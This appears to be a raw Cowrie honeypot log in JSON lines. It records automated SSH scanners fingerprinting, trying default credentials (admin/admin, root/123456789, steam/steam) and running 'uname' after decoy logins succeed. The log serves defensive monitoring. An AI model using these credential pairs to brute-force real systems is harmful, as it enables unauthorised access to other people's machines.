{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:19.914159Z","src_ip":"87.251.64.176","session":"609ea32436c6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:20.203758Z","src_ip":"87.251.64.176","session":"609ea32436c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:20.302656Z","session":"609ea32436c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:20.403640Z","src_ip":"87.251.64.176","session":"609ea32436c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:20.637982Z","src_ip":"87.251.64.176","session":"609ea32436c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60118,"dst_ip":"10.17.0.5","dst_port":22,"session":"68327062d3bd","protocol":"ssh","message":"New connection: 83.168.110.85:60118 (10.17.0.5:22) [session: 68327062d3bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:20.697311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:20.703450Z","src_ip":"83.168.110.85","session":"68327062d3bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:20.824400Z","src_ip":"83.168.110.85","session":"68327062d3bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:21.190545Z","src_ip":"83.168.110.85","session":"68327062d3bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:22.635080Z","src_ip":"83.168.110.85","session":"68327062d3bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":38636,"dst_ip":"159.203.135.109","dst_port":22,"session":"8420933f1aed","protocol":"ssh","message":"New connection: 103.75.182.198:38636 (159.203.135.109:22) [session: 8420933f1aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:24.000009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:24.005206Z","src_ip":"103.75.182.198","session":"8420933f1aed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:24.250036Z","src_ip":"103.75.182.198","session":"8420933f1aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"x4ivyga51f","message":"login attempt [root/x4ivyga51f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:24.982833Z","src_ip":"103.75.182.198","session":"8420933f1aed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:26.234877Z","src_ip":"103.75.182.198","session":"8420933f1aed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47630,"dst_ip":"10.17.0.5","dst_port":22,"session":"e13993326422","protocol":"ssh","message":"New connection: 83.168.110.85:47630 (10.17.0.5:22) [session: e13993326422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:27.636010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:27.642553Z","src_ip":"83.168.110.85","session":"e13993326422","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:27.764298Z","src_ip":"83.168.110.85","session":"e13993326422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:28.130350Z","src_ip":"83.168.110.85","session":"e13993326422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:29.309513Z","src_ip":"83.168.110.85","session":"e13993326422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.80258131027222,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:33.304971Z","src_ip":"152.42.224.71","session":"e77ae4c1d183","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42328,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d66fe85d807","protocol":"ssh","message":"New connection: 83.168.110.85:42328 (10.17.0.5:22) [session: 6d66fe85d807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:34.678353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:34.684126Z","src_ip":"83.168.110.85","session":"6d66fe85d807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:34.806553Z","src_ip":"83.168.110.85","session":"6d66fe85d807","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:35.397784Z","src_ip":"83.168.110.85","session":"6d66fe85d807","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:35.750098Z","src_ip":"83.168.110.85","session":"6d66fe85d807","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:35.753858Z","src_ip":"83.168.110.85","session":"6d66fe85d807","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:35.878564Z","src_ip":"83.168.110.85","session":"6d66fe85d807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:35.886142Z","src_ip":"83.168.110.85","session":"6d66fe85d807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42342,"dst_ip":"10.17.0.5","dst_port":22,"session":"d20b69df3a09","protocol":"ssh","message":"New connection: 83.168.110.85:42342 (10.17.0.5:22) [session: d20b69df3a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:41.824947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:41.829536Z","src_ip":"83.168.110.85","session":"d20b69df3a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:41.950425Z","src_ip":"83.168.110.85","session":"d20b69df3a09","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:42.313485Z","src_ip":"83.168.110.85","session":"d20b69df3a09","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:42.608963Z","src_ip":"83.168.110.85","session":"d20b69df3a09","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:42.612556Z","src_ip":"83.168.110.85","session":"d20b69df3a09","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:42.737141Z","src_ip":"83.168.110.85","session":"d20b69df3a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:42.743875Z","src_ip":"83.168.110.85","session":"d20b69df3a09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":52105,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fee23f22ed9","protocol":"ssh","message":"New connection: 167.172.81.52:52105 (159.203.135.109:22) [session: 3fee23f22ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:44.239923Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:44.255263Z","src_ip":"167.172.81.52","session":"3fee23f22ed9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:44.261115Z","src_ip":"167.172.81.52","session":"3fee23f22ed9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41936,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb4ca5c08fa8","protocol":"ssh","message":"New connection: 83.168.110.85:41936 (10.17.0.5:22) [session: eb4ca5c08fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:48.683574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:48.689294Z","src_ip":"83.168.110.85","session":"eb4ca5c08fa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:48.812591Z","src_ip":"83.168.110.85","session":"eb4ca5c08fa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:49.176831Z","src_ip":"83.168.110.85","session":"eb4ca5c08fa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:50.300550Z","src_ip":"83.168.110.85","session":"eb4ca5c08fa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45288,"dst_ip":"10.17.0.5","dst_port":22,"session":"6edce37d2280","protocol":"ssh","message":"New connection: 83.168.110.85:45288 (10.17.0.5:22) [session: 6edce37d2280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:55.511014Z"}
